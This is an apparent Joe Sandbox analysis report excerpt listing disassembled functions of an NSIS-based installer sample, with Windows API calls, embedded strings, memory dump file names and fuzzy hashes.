Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

Error launching installer, xrefs: 00402F80
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Inst, xrefs: 00403017
soft, xrefs: 00403020
Null, xrefs: 00403029
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

